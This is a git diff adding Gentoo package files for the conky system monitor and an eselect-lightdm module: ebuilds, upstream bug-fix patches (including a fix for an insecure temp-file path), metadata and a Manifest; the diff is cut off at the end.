3e2eebfc6456a2e3d4658076ba8a02c84ff7a967768330e6df866589886b10dceccdaf8ff4d6863a2a61f676cb09d60ab8d7f5e57e1ae895b890f12de009dc23 diff --git a/app-admin/conky/conky-1.8.1-r6.ebuild b/app-admin/conky/conky-1.8.1-r6.ebuild new file mode 100644 index 00000000..761bd6eb --- /dev/null +++ b/app-admin/conky/conky-1.8.1-r6.ebuild @@ -0,0 +1,134 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-admin/conky/conky-1.8.1-r6.ebuild,v 1.8 2012/05/03 18:02:22 jdhore Exp $ + +EAPI=2 + +inherit autotools eutils + +DESCRIPTION="An advanced, highly configurable system monitor for X" +HOMEPAGE="http://conky.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2" + +LICENSE="GPL-3 BSD LGPL-2.1 MIT" +SLOT="0" +KEYWORDS="alpha amd64 ppc ppc64 sparc x86" +IUSE="apcupsd audacious curl debug eve hddtemp imlib iostats lua lua-cairo lua-imlib math moc mpd nano-syntax ncurses nvidia +portmon rss thinkpad truetype vim-syntax weather-metar weather-xoap wifi X xmms2" + +DEPEND_COMMON=" + X? ( + imlib? ( media-libs/imlib2 ) + lua-cairo? ( >=dev-lua/toluapp-1.0.93 x11-libs/cairo[X] ) + lua-imlib? ( >=dev-lua/toluapp-1.0.93 media-libs/imlib2 ) + nvidia? ( media-video/nvidia-settings ) + truetype? ( x11-libs/libXft >=media-libs/freetype-2 ) + x11-libs/libX11 + x11-libs/libXdamage + x11-libs/libXext + audacious? ( >=media-sound/audacious-1.5 dev-libs/glib ) + xmms2? ( media-sound/xmms2 ) + ) + curl? ( net-misc/curl ) + eve? ( net-misc/curl dev-libs/libxml2 ) + portmon? ( dev-libs/glib ) + lua? ( >=dev-lang/lua-5.1 ) + ncurses? ( sys-libs/ncurses ) + rss? ( dev-libs/libxml2 net-misc/curl dev-libs/glib ) + wifi? ( net-wireless/wireless-tools ) + weather-metar? ( net-misc/curl ) + weather-xoap? ( dev-libs/libxml2 net-misc/curl ) + virtual/libiconv + " +RDEPEND=" + ${DEPEND_COMMON} + apcupsd? ( sys-power/apcupsd ) + hddtemp? ( app-admin/hddtemp ) + moc? ( media-sound/moc ) + nano-syntax? ( app-editors/nano ) + vim-syntax? ( || ( app-editors/vim app-editors/gvim ) ) + " +DEPEND=" + ${DEPEND_COMMON} + virtual/pkgconfig + " + +src_prepare() { + epatch "${FILESDIR}/${P}-nvidia-x.patch" \ + "${FILESDIR}/${P}-xmms2.patch" \ + "${FILESDIR}/${P}-secunia-SA43225.patch" \ + "${FILESDIR}/${P}-acpitemp.patch" \ + "${FILESDIR}/${P}-curl-headers.patch" \ + "${FILESDIR}/${P}-maxinterfaces.patch" \ + "${FILESDIR}/${P}-utf8-scroll.patch" \ + "${FILESDIR}/${P}-battery-time.patch" \ + "${FILESDIR}/${P}-lua-5.2.patch" + eautoreconf +} + +src_configure() { + local myconf + + if use X; then + myconf="--enable-x11 --enable-double-buffer --enable-xdamage" + myconf="${myconf} --enable-argb --enable-own-window" + myconf="${myconf} $(use_enable imlib imlib2) $(use_enable lua-cairo)" + myconf="${myconf} $(use_enable lua-imlib lua-imlib2)" + myconf="${myconf} $(use_enable nvidia) $(use_enable truetype xft)" + myconf="${myconf} $(use_enable audacious) $(use_enable xmms2)" + else + myconf="--disable-x11 --disable-own-window --disable-argb" + myconf="${myconf} --disable-lua-cairo --disable-nvidia --disable-xft" + myconf="${myconf} --disable-audacious --disable-xmms2" + fi + + econf \ + ${myconf} \ + $(use_enable apcupsd) \ + $(use_enable curl) \ + $(use_enable debug) \ + $(use_enable eve) \ + $(use_enable hddtemp) \ + $(use_enable iostats) \ + $(use_enable lua) \ + $(use_enable thinkpad ibm) \ + $(use_enable math) \ + $(use_enable moc) \ + $(use_enable mpd) \ + $(use_enable ncurses) \ + $(use_enable portmon) \ + $(use_enable rss) \ + $(use_enable weather-metar) \ + $(use_enable weather-xoap) \ + $(use_enable wifi wlan) +} + +src_install() { + emake DESTDIR="${D}" install || die + dodoc ChangeLog AUTHORS TODO || die + dohtml doc/docs.html doc/config_settings.html doc/variables.html || die + + if use vim-syntax; then + insinto /usr/share/vim/vimfiles/ftdetect + doins "${S}"/extras/vim/ftdetect/conkyrc.vim || die + + insinto /usr/share/vim/vimfiles/syntax + doins "${S}"/extras/vim/syntax/conkyrc.vim || die + fi + + if use nano-syntax; then + insinto /usr/share/nano/ + doins "${S}"/extras/nano/conky.nanorc || die + fi +} + +pkg_postinst() { + elog "You can find a sample configuration file at ${ROOT%/}/etc/conky/conky.conf." + elog "To customize, copy it to ~/.conkyrc and edit it to your liking." + elog + elog "For more info on Conky's features please look at the Changelog in" + elog "${ROOT%/}/usr/share/doc/${PF}. There are also pretty html docs available" + elog "on Conky's site or in ${ROOT%/}/usr/share/doc/${PF}/html." + elog + elog "Also see http://www.gentoo.org/doc/en/conky-howto.xml" + elog +} diff --git a/app-admin/conky/conky-1.9.0.ebuild b/app-admin/conky/conky-1.9.0.ebuild new file mode 100644 index 00000000..56d0eb4d --- /dev/null +++ b/app-admin/conky/conky-1.9.0.ebuild @@ -0,0 +1,136 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-admin/conky/conky-1.9.0.ebuild,v 1.3 2012/08/12 12:02:35 ago Exp $ + +EAPI=4 + +inherit eutils + +MY_P="conky-1.9.0" +MY_V="1.9.0" +MY_PN="conky" + +DESCRIPTION="An advanced, highly configurable system monitor for X" +HOMEPAGE="http://conky.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.bz2" + +LICENSE="GPL-3 BSD LGPL-2.1 MIT" +SLOT="0" +KEYWORDS="~alpha amd64 ~ppc ~ppc64 ~sparc ~x86" +IUSE="apcupsd -audacious curl debug eve hddtemp imlib iostats lua lua-cairo lua-imlib math moc mpd nano-syntax ncurses nvidia +portmon rss thinkpad truetype vim-syntax weather-metar weather-xoap wifi X xmms2" + +DEPEND_COMMON=" + X? ( + imlib? ( media-libs/imlib2 ) + lua-cairo? ( + >=dev-lua/toluapp-1.0.93 + >=dev-lang/lua-5.1.4-r8 + x11-libs/cairo[X] ) + lua-imlib? ( + >=dev-lua/toluapp-1.0.93 + >=dev-lang/lua-5.1.4-r8 + media-libs/imlib2 ) + nvidia? ( media-video/nvidia-settings ) + truetype? ( x11-libs/libXft >=media-libs/freetype-2 ) + x11-libs/libX11 + x11-libs/libXdamage + x11-libs/libXext + audacious? ( >=media-sound/audacious-1.5 dev-libs/glib ) + xmms2? ( media-sound/xmms2 ) + ) + curl? ( net-misc/curl ) + eve? ( net-misc/curl dev-libs/libxml2 ) + portmon? ( dev-libs/glib ) + lua? ( >=dev-lang/lua-5.1.4-r8 ) + ncurses? ( sys-libs/ncurses ) + rss? ( dev-libs/libxml2 net-misc/curl dev-libs/glib ) + wifi? ( net-wireless/wireless-tools ) + weather-metar? ( net-misc/curl ) + weather-xoap? ( dev-libs/libxml2 net-misc/curl ) + virtual/libiconv + " +RDEPEND=" + ${DEPEND_COMMON} + apcupsd? ( sys-power/apcupsd ) + hddtemp? ( app-admin/hddtemp ) + moc? ( media-sound/moc ) + nano-syntax? ( app-editors/nano ) + vim-syntax? ( || ( app-editors/vim app-editors/gvim ) ) + " +DEPEND=" + ${DEPEND_COMMON} + virtual/pkgconfig + " + +src_prepare() { + epatch "${FILESDIR}/${PN}-1.8.1-utf8-scroll.patch" \ + "${FILESDIR}/${MY_P}-ncurses.patch" +} + +src_configure() { + local myconf + + if use X; then + myconf="--enable-x11 --enable-double-buffer --enable-xdamage" + myconf="${myconf} --enable-argb --enable-own-window" + myconf="${myconf} $(use_enable imlib imlib2) $(use_enable lua-cairo)" + myconf="${myconf} $(use_enable lua-imlib lua-imlib2)" + myconf="${myconf} $(use_enable nvidia) $(use_enable truetype xft)" + myconf="${myconf} $(use_enable audacious) $(use_enable xmms2)" + else + myconf="--disable-x11 --disable-own-window --disable-argb" + myconf="${myconf} --disable-lua-cairo --disable-nvidia --disable-xft" + myconf="${myconf} --disable-audacious --disable-xmms2" + fi + + econf \ + ${myconf} \ + $(use_enable apcupsd) \ + $(use_enable curl) \ + $(use_enable debug) \ + $(use_enable eve) \ + $(use_enable hddtemp) \ + $(use_enable iostats) \ + $(use_enable lua) \ + $(use_enable thinkpad ibm) \ + $(use_enable math) \ + $(use_enable moc) \ + $(use_enable mpd) \ + $(use_enable ncurses) \ + $(use_enable portmon) \ + $(use_enable rss) \ + $(use_enable weather-metar) \ + $(use_enable weather-xoap) \ + $(use_enable wifi wlan) +} + +src_install() { + default + + dohtml doc/{config_settings.html,docs.html,lua.html,variables.html} + + if use vim-syntax; then + insinto /usr/share/vim/vimfiles/ftdetect + doins "${S}"/extras/vim/ftdetect/conkyrc.vim + + insinto /usr/share/vim/vimfiles/syntax + doins "${S}"/extras/vim/syntax/conkyrc.vim + fi + + if use nano-syntax; then + insinto /usr/share/nano/ + doins "${S}"/extras/nano/conky.nanorc + fi +} + +pkg_postinst() { + elog "You can find a sample configuration file at ${ROOT%/}/etc/conky/conky.conf." + elog "To customize, copy it to ~/.conkyrc and edit it to your liking." + elog + elog "For more info on Conky's features please look at the Changelog in" + elog "${ROOT%/}/usr/share/doc/${PF}. There are also pretty html docs available" + elog "on Conky's site or in ${ROOT%/}/usr/share/doc/${PF}/html." + elog + elog "Also see http://www.gentoo.org/doc/en/conky-howto.xml" + elog +} diff --git a/app-admin/conky/files/conky-1.8.1-acpitemp.patch b/app-admin/conky/files/conky-1.8.1-acpitemp.patch new file mode 100644 index 00000000..9632b99e --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-acpitemp.patch @@ -0,0 +1,81 @@ +From 1b90218c339467770254aba03e3f0a3acc4af4b0 Mon Sep 17 00:00:00 2001 +From: Nikolas Garofil +Date: Wed, 10 Nov 2010 18:22:22 +0100 +Subject: [PATCH] Let $acpitemp use /sys instead of /proc + +From the 2.6.36 changelog (http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36): +Mark the ACPI thermal procfs I/F deprecated, because /sys/class/thermal/ is already available and has been working for years w/o any problem. +The ACPI thermal procfs I/F will be removed in 2.6.37 +--- + src/linux.cc | 26 ++++++++++++-------------- + 1 files changed, 12 insertions(+), 14 deletions(-) + +diff --git a/src/linux.cc b/src/linux.cc +index ae97f48..bfb0063 100644 +--- a/src/linux.c ++++ b/src/linux.c +@@ -1449,26 +1449,20 @@ critical (S5): 73 C + passive: 73 C: tc1=4 tc2=3 tsp=40 devices=0xcdf6e6c0 + */ + +-#define ACPI_THERMAL_DIR "/proc/acpi/thermal_zone/" +-#define ACPI_THERMAL_FORMAT "/proc/acpi/thermal_zone/%s/temperature" ++#define ACPI_THERMAL_ZONE_DEFAULT "thermal_zone0" ++#define ACPI_THERMAL_FORMAT "/sys/class/thermal/%s/temp" + + int open_acpi_temperature(const char *name) + { + char path[256]; +- char buf[256]; + int fd; + + if (name == NULL || strcmp(name, "*") == 0) { +- static int rep = 0; +- +- if (!get_first_file_in_a_directory(ACPI_THERMAL_DIR, buf, &rep)) { +- return -1; +- } +- name = buf; ++ snprintf(path, 255, ACPI_THERMAL_FORMAT, ACPI_THERMAL_ZONE_DEFAULT); ++ } else { ++ snprintf(path, 255, ACPI_THERMAL_FORMAT, name); + } + +- snprintf(path, 255, ACPI_THERMAL_FORMAT, name); +- + fd = open(path, O_RDONLY); + if (fd < 0) { + NORM_ERR("can't open '%s': %s", path, strerror(errno)); +@@ -1480,6 +1474,9 @@ int open_acpi_temperature(const char *name) + static double last_acpi_temp; + static double last_acpi_temp_time; + ++//the maximum length of the string inside a ACPI_THERMAL_FORMAT file including the ending 0 ++#define MAXTHERMZONELEN 6 ++ + double get_acpi_temperature(int fd) + { + if (fd <= 0) { +@@ -1497,15 +1494,16 @@ double get_acpi_temperature(int fd) + + /* read */ + { +- char buf[256]; ++ char buf[MAXTHERMZONELEN]; + int n; + +- n = read(fd, buf, 255); ++ n = read(fd, buf, MAXTHERMZONELEN-1); + if (n < 0) { + NORM_ERR("can't read fd %d: %s", fd, strerror(errno)); + } else { + buf[n] = '\0'; +- sscanf(buf, "temperature: %lf", &last_acpi_temp); ++ sscanf(buf, "%lf", &last_acpi_temp); ++ last_acpi_temp /= 1000; + } + } + +-- +1.7.0.4 + diff --git a/app-admin/conky/files/conky-1.8.1-battery-time.patch b/app-admin/conky/files/conky-1.8.1-battery-time.patch new file mode 100644 index 00000000..66e37958 --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-battery-time.patch @@ -0,0 +1,11 @@ +--- a/src/linux.c.old 2012-01-12 08:18:58.525502553 -0500 ++++ b/src/linux.c 2012-01-12 08:19:29.786069277 -0500 +@@ -1671,6 +1671,8 @@ void get_battery_stuff(char *buffer, uns + the tradition! */ + else if (strncmp(buf, "POWER_SUPPLY_CURRENT_NOW=", 25) == 0) + sscanf(buf, "POWER_SUPPLY_CURRENT_NOW=%d", &present_rate); ++ else if (strncmp(buf, "POWER_SUPPLY_POWER_NOW=", 23) == 0) ++ sscanf(buf, "POWER_SUPPLY_POWER_NOW=%d", &present_rate); + else if (strncmp(buf, "POWER_SUPPLY_ENERGY_NOW=", 24) == 0) + sscanf(buf, "POWER_SUPPLY_ENERGY_NOW=%d", &remaining_capacity); + else if (strncmp(buf, "POWER_SUPPLY_ENERGY_FULL=", 25) == 0) diff --git a/app-admin/conky/files/conky-1.8.1-curl-headers.patch b/app-admin/conky/files/conky-1.8.1-curl-headers.patch new file mode 100644 index 00000000..5de2de14 --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-curl-headers.patch @@ -0,0 +1,24 @@ +diff --git a/src/ccurl_thread.c b/src/ccurl_thread.c +index 10e73a6..9bea299 100644 +--- a/src/ccurl_thread.c ++++ b/src/ccurl_thread.c +@@ -33,7 +33,6 @@ + #endif /* DEBUG */ + + #include +-#include + #include + + /* +diff --git a/src/eve.c b/src/eve.c +index dc07264..f62a5f6 100644 +--- a/src/eve.c ++++ b/src/eve.c +@@ -37,7 +37,6 @@ + #include + + #include +-#include + #include + + #include diff --git a/app-admin/conky/files/conky-1.8.1-lua-5.2.patch b/app-admin/conky/files/conky-1.8.1-lua-5.2.patch new file mode 100644 index 00000000..956b0397 --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-lua-5.2.patch @@ -0,0 +1,26 @@ +From 83bf5e3f853918583e519fbba455a79242be9c7c Mon Sep 17 00:00:00 2001 +From: Brenden Matthews +Date: Wed, 7 Mar 2012 11:11:12 -0800 +Subject: [PATCH] Build fix for Lua >=5.2. + +See Gentoo bug at https://bugs.gentoo.org/show_bug.cgi?id=407089. +--- + src/llua.c | 2 +- + 1 files changed, 1 insertions(+), 1 deletions(-) + +diff --git a/src/llua.c b/src/llua.c +index 8f1df3c..383c279 100644 +--- a/src/llua.c ++++ b/src/llua.c +@@ -92,7 +92,7 @@ void llua_init(void) + const char *libs = PACKAGE_LIBDIR"/lib?.so;"; + char *old_path, *new_path; + if (lua_L) return; +- lua_L = lua_open(); ++ lua_L = luaL_newstate(); + + /* add our library path to the lua package.cpath global var */ + luaL_openlibs(lua_L); +-- +1.7.0.4 + diff --git a/app-admin/conky/files/conky-1.8.1-maxinterfaces.patch b/app-admin/conky/files/conky-1.8.1-maxinterfaces.patch new file mode 100644 index 00000000..6f2097e1 --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-maxinterfaces.patch @@ -0,0 +1,41 @@ +From f6aac5981e70118dc28b3c7a1fe6065955fe3dcb Mon Sep 17 00:00:00 2001 +From: Pavel Labath +Date: Tue, 25 Oct 2011 18:53:09 +0200 +Subject: [PATCH] Increase MAX_NET_INTERFACES to 64 + +also change a magic constant in net_stat.h to reflect the fact that it depends on +MAX_NET_INTERFACES. For more info, see sf.net #2872682 and gentoo bug #384505 +--- + configure.ac.in | 2 +- + src/net_stat.h | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/configure.ac.in b/configure.ac.in +index 0f00237..d52d998 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -802,7 +802,7 @@ AC_DEFINE(CONFIG_FILE, "$HOME/.conkyrc", [Configfile of the user]) + AC_DEFINE(MAX_SPECIALS_DEFAULT, 512, [Default maximum number of special things, e.g. fonts, offsets, aligns, etc.]) + AC_DEFINE(MAX_USER_TEXT_DEFAULT, 16384, [Default maximum size of config TEXT buffer, i.e. below TEXT line.]) + AC_DEFINE(DEFAULT_TEXT_BUFFER_SIZE, 256, [Default size used for temporary, static text buffers]) +-AC_DEFINE(MAX_NET_INTERFACES, 16, [Maximum number of network devices]) ++AC_DEFINE(MAX_NET_INTERFACES, 64, [Maximum number of network devices]) + + dnl + dnl Some functions +diff --git a/src/net_stat.h b/src/net_stat.h +index 463e7db..6f5533c 100644 +--- a/src/net_stat.h ++++ b/src/net_stat.h +@@ -41,7 +41,7 @@ struct net_stat { + double recv_speed, trans_speed; + struct sockaddr addr; + #if defined(__linux__) +- char addrs[273]; ++ char addrs[17 * MAX_NET_INTERFACES + 1]; + #endif /* __linux__ */ + double net_rec[15], net_trans[15]; + // wireless extensions +-- +1.7.0.4 + diff --git a/app-admin/conky/files/conky-1.8.1-nvidia-x.patch b/app-admin/conky/files/conky-1.8.1-nvidia-x.patch new file mode 100644 index 00000000..b56cee5f --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-nvidia-x.patch @@ -0,0 +1,33 @@ +From b72004787038371098a745c9358e8e1552d945d5 Mon Sep 17 00:00:00 2001 +From: Brenden Matthews +Date: Wed, 6 Oct 2010 11:49:27 -0700 +Subject: [PATCH] Bulid fix for nvidia support. + +See http://bugs.gentoo.org/show_bug.cgi?id=339971 for details. +--- + src/nvidia.c | 4 +++- + 1 files changed, 3 insertions(+), 1 deletions(-) + +diff --git a/src/nvidia.c b/src/nvidia.c +index 8a6423e..5f378d8 100644 +--- a/src/nvidia.c ++++ b/src/nvidia.c +@@ -32,6 +32,7 @@ + #include "logging.h" + #include "nvidia.h" + #include "temphelper.h" ++#include "x11.h" + #include + + const int nvidia_query_to_attr[] = {NV_CTRL_GPU_CORE_TEMPERATURE, +@@ -145,5 +146,6 @@ void set_nvidia_display(const char *disp) + if ((nvdisplay = XOpenDisplay(disp)) == NULL) { + CRIT_ERR(NULL, NULL, "can't open nvidia display: %s", XDisplayName(disp)); + } +- } ++ } + } ++ +-- +1.7.0.4 + diff --git a/app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch b/app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch new file mode 100644 index 00000000..81272bd3 --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch @@ -0,0 +1,72 @@ +--- src/eve.c 2011-02-12 13:26:34.636269667 +0100 ++++ src/eve.c 2011-02-12 13:26:48.242936334 +0100 +@@ -254,19 +254,6 @@ + } + } + +-static int file_exists(const char *filename) +-{ +- struct stat fi; +- +- if ((stat(filename, &fi)) == 0) { +- if (fi.st_size > 0) +- return 1; +- else +- return 0; +- } else +- return 0; +-} +- + static void writeSkilltree(char *content, const char *filename) + { + FILE *fp = fopen(filename, "w"); +@@ -283,13 +270,12 @@ + xmlDocPtr doc = 0; + xmlNodePtr root = 0; + +- if (!file_exists(file)) { +- skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE); +- writeSkilltree(skilltree, file); +- free(skilltree); +- } ++ skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE); ++ writeSkilltree(skilltree, file); ++ free(skilltree); + + doc = xmlReadFile(file, NULL, 0); ++ unlink(file); + if (!doc) + return NULL; + +@@ -340,7 +326,7 @@ + static char *eve(char *userid, char *apikey, char *charid) + { + Character *chr = NULL; +- const char *skillfile = "/tmp/.cesf"; ++ char skillfile[] = "/tmp/.cesfXXXXXX"; + int i = 0; + char *output = 0; + char *timel = 0; +@@ -348,6 +334,7 @@ + char *content = 0; + time_t now = 0; + char *error = 0; ++ int tmp_fd, old_umask; + + + for (i = 0; i < MAXCHARS; i++) { +@@ -400,6 +387,14 @@ + + output = (char *)malloc(200 * sizeof(char)); + timel = formatTime(&chr->ends); ++ old_umask = umask(0066); ++ tmp_fd = mkstemp(skillfile); ++ umask(old_umask); ++ if (tmp_fd == -1) { ++ error = strdup("Cannot create temporary file"); ++ return error; ++ } ++ close(tmp_fd); + skill = getSkillname(skillfile, chr->skill); + + chr->skillname = strdup(skill); diff --git a/app-admin/conky/files/conky-1.8.1-utf8-scroll.patch b/app-admin/conky/files/conky-1.8.1-utf8-scroll.patch new file mode 100644 index 00000000..8b9e1e8f --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-utf8-scroll.patch @@ -0,0 +1,104 @@ +From b1f6a30bcce020b3c377434137de9856a09b899a Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Amadeusz=20=C5=BBo=C5=82nowski?= +Date: Fri, 11 Nov 2011 11:27:43 +0100 +Subject: [PATCH] Make scroll UTF-8 aware. Fixes bug #3134941. + +--- + src/scroll.c | 44 ++++++++++++++++++++++++++++++++++++++++++-- + 1 files changed, 42 insertions(+), 2 deletions(-) + +diff --git a/src/scroll.c b/src/scroll.c +index f78f807..738db0d 100644 +--- a/src/scroll.c ++++ b/src/scroll.c +@@ -34,12 +34,33 @@ + + struct scroll_data { + char *text; ++ unsigned int show_orig; + unsigned int show; + unsigned int step; + unsigned int start; + long resetcolor; + }; + ++int utf8_charlen(char c) { ++ unsigned char uc = (unsigned char) c; ++ int len = 0; ++ ++ if ((uc & 0x80) == 0) ++ return 1; ++ ++ while ((uc & 0x80) != 0) { ++ ++len; ++ uc <<= 1; ++ } ++ ++ return (len > 0 && len <= 4) ? len : -1; ++} ++ ++int is_utf8_char_tail(char c) { ++ unsigned char uc = (unsigned char) c; ++ return (uc & 0xc0) == 0x80; ++} ++ + void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_crash) + { + struct scroll_data *sd; +@@ -60,15 +81,18 @@ void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_cr + sd->step = 1; + } + sd->text = malloc(strlen(arg + n1) + sd->show + 1); ++ // sd->show value may change when there are UTF-8 chars to be shown, so ++ // save its origin value ++ sd->show_orig = sd->show; + + if (strlen(arg) > sd->show) { + for(n2 = 0; (unsigned int) n2 < sd->show; n2++) { +- sd->text[n2] = ' '; ++ sd->text[n2] = ' '; + } + sd->text[n2] = 0; + } + else +- sd->text[0] = 0; ++ sd->text[0] = 0; + + strcat(sd->text, arg + n1); + sd->start = 0; +@@ -82,9 +106,13 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor + { + struct scroll_data *sd = obj->data.opaque; + unsigned int j, colorchanges = 0, frontcolorchanges = 0, visibcolorchanges = 0, strend; ++ int charlen = 0; ++ unsigned int utf8lenfix = 0; + char *pwithcolors; + char buf[max_user_text]; + ++ sd->show = sd->show_orig; ++ + if (!sd) + return; + +@@ -109,6 +137,18 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor + while(*(buf + sd->start) == SPECIAL_CHAR) { + sd->start++; + } ++ //skip parts of UTF-8 character which messes up display ++ while(is_utf8_char_tail(*(buf + sd->start))) { ++ sd->start++; ++ } ++ //extend length to be shown for wide characters ++ j = 0; ++ while(j < sd->show + visibcolorchanges + utf8lenfix) { ++ charlen = utf8_charlen(*(buf + sd->start + j)); ++ utf8lenfix += (charlen > 1 ? charlen - 1 : 0); ++ j += charlen; ++ } ++ sd->show = sd->show_orig + utf8lenfix; + //place all chars that should be visible in p, including colorchanges + for(j=0; j < sd->show + visibcolorchanges; j++) { + p[j] = *(buf + sd->start + j); +-- +1.7.8.rc1 + diff --git a/app-admin/conky/files/conky-1.8.1-xmms2.patch b/app-admin/conky/files/conky-1.8.1-xmms2.patch new file mode 100644 index 00000000..a1b03d45 --- /dev/null +++ b/app-admin/conky/files/conky-1.8.1-xmms2.patch @@ -0,0 +1,36 @@ +From 8dd9b91bb2751abccc02b53cefd0ab8f0e3b957d Mon Sep 17 00:00:00 2001 +From: Brenden Matthews +Date: Thu, 14 Oct 2010 16:51:53 -0700 +Subject: [PATCH] Build fix for XMMS2. + +This resolves bug 3085691, see: +https://sourceforge.net/tracker/index.php?func=detail&aid=3085691&group_id=143975&atid=757308 +--- + src/xmms2.c | 4 ++-- + 1 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/xmms2.c b/src/xmms2.c +index 521bffa..94f13f9 100644 +--- a/src/xmms2.c ++++ b/src/xmms2.c +@@ -223,7 +223,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p) + break; + case XMMS_PLAYBACK_STATUS_STOP: + strncpy(ptr->xmms2.status, "Stopped", text_buffer_size - 1); +- ptr->xmms2.elapsed = ptr->xmms2.progress = ptr->xmms2.percent = 0; ++ ptr->xmms2.elapsed = ptr->xmms2.progress = 0; + break; + default: + strncpy(ptr->xmms2.status, "Unknown", text_buffer_size - 1); +@@ -232,7 +232,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p) + return TRUE; + } + +-int handle_playlist_loaded(xmmsv_t *value, void *p) ++int handle_playlist_loaded(xmmsv_t *value, void *p) + { + struct information *ptr = p; + const char *c, *errbuf; +-- +1.7.0.4 + diff --git a/app-admin/conky/files/conky-1.9.0-ncurses.patch b/app-admin/conky/files/conky-1.9.0-ncurses.patch new file mode 100644 index 00000000..91043ed4 --- /dev/null +++ b/app-admin/conky/files/conky-1.9.0-ncurses.patch @@ -0,0 +1,31 @@ +From fd9462da5ed12369fc6a72e42ebc45c6707403fb Mon Sep 17 00:00:00 2001 +From: Pavel Labath +Date: Fri, 13 Jul 2012 13:41:09 +0200 +Subject: [PATCH] Fix "conky failes to build with --disable-ncurses" (sf.net #3541329) + +--- + src/conky.c | 4 ++-- + 1 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/conky.c b/src/conky.c +index c5b4bed..17fe1a7 100644 +--- a/src/conky.c ++++ b/src/conky.c +@@ -885,12 +885,12 @@ void generate_text_internal(char *p, int p_max_size, + OBJ(cpu) { + if (cur->cpu_usage) { + if (obj->data.i > info.cpu_count) { +- static bool warned = false; ++ static int warned = 0; + if(!warned) { + NORM_ERR("obj->data.i %i info.cpu_count %i", + obj->data.i, info.cpu_count); + NORM_ERR("attempting to use more CPUs than you have!"); +- warned = true; ++ warned = 1; + } + } else { + percent_print(p, p_max_size, +-- +1.7.0.4 + diff --git a/app-admin/conky/metadata.xml b/app-admin/conky/metadata.xml new file mode 100644 index 00000000..5df39140 --- /dev/null +++ b/app-admin/conky/metadata.xml @@ -0,0 +1,33 @@ + + + + + billie@gentoo.org + Daniel Pielmeier + + + brenden@rty.ca + Brenden Matthews + Upstream author + + Conky is a system monitor that sits in the corner of your desktop. It is a fork of Torsmo that is actually maintained. + + enable support for sys-power/apcupsd + enable monitoring of music played by media-sound/audacious + enable support for the eve-online skill monitor + enable support for per-task I/O statistics + enable if you want Lua scripting support + enable if you want Lua Cairo bindings for Conky (also enables lua support) + enable if you want Lua Imlib2 bindings for Conky (also enables lua and imlib support) + enable support for glibc's libm math library + enable monitoring of music played by media-sound/moc + enable monitoring of music controlled by media-sound/mpd + enable syntax highlighting for app-editors/nano + enable reading of nvidia card temperature sensors via media-video/nvidia-settings + enable support for tcp (ip4) port monitoring + enable support for IBM/Lenovo notebooks + enable support for metar weather service + enable support for metar and xoap weather service + enable monitoring of music played by media-sound/xmms2 + + diff --git a/app-admin/eselect-lightdm/Manifest b/app-admin/eselect-lightdm/Manifest new file mode 100644 index 00000000..28551431 --- /dev/null +++ b/app-admin/eselect-lightdm/Manifest @@ -0,0 +1,2 @@ +AUX lightdm-0.2.eselect 4393 SHA256 3953380345fcb011f6f6786a1b3800f0e06ff05f7b3abd93eb734a71980bdd25 SHA512 1908ad4f363d2e7cc74ead0d52a90bc87f4752d7140b0e1098935f8f4446cc260ed73b629c895dda3afa3449718077ed70253a9becb60820d94cc2e278aeacc9 WHIRLPOOL be3248dee97a416ad84db3f080673edb7bfcffe08b4d24f9f97307a917bfb4f8cd3c132f5a59cf971ca8c00a1f9379caf328f93f9379643925288f7150283349 +EBUILD eselect-lightdm-0.2.ebuild 497 SHA256 46b5b60218693e53db3a98dcfcebc1c13a44fec4cc2a7d7b7b8ef2e33f2fee5d SHA512 3f46dd3b7ac03d93d416696f03cbeb54cbaaacecec0fbeaff446d19e47175988dddd0c264d7015c38bf70d7808cdf1dd96a7aa643632b809bf957bac15f20a3f WHIRLPOOL e1e14d07473480e70673c4ea3a5b0ada4e93eda083f78e4bf9906724d0bc0cb335fa1d3a332250a3b36056542d1707db6f06e3cdb1568b33172fe05cf9968be9 diff --git a/app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild b/app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild new file mode 100644 index 00000000..7e1ef10b --- /dev/null +++ b/app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild @@ -0,0 +1,25 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +SRC_URI="" +KEYWORDS="~amd64 ~arm ~x86" + +DESCRIPTION="Eselect module for making easy to switch between LightDM greeters" +HOMEPAGE="http://www.sabayon.org" + +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +S="${WORKDIR}" + +RDEPEND="app-admin/eselect" +DEPEND="${RDEPEND}" + +src_install() { + insinto /usr/share/eselect/modules + newins "${FILESDIR}/lightdm-${PV}.eselect" lightdm.eselect +} diff --git 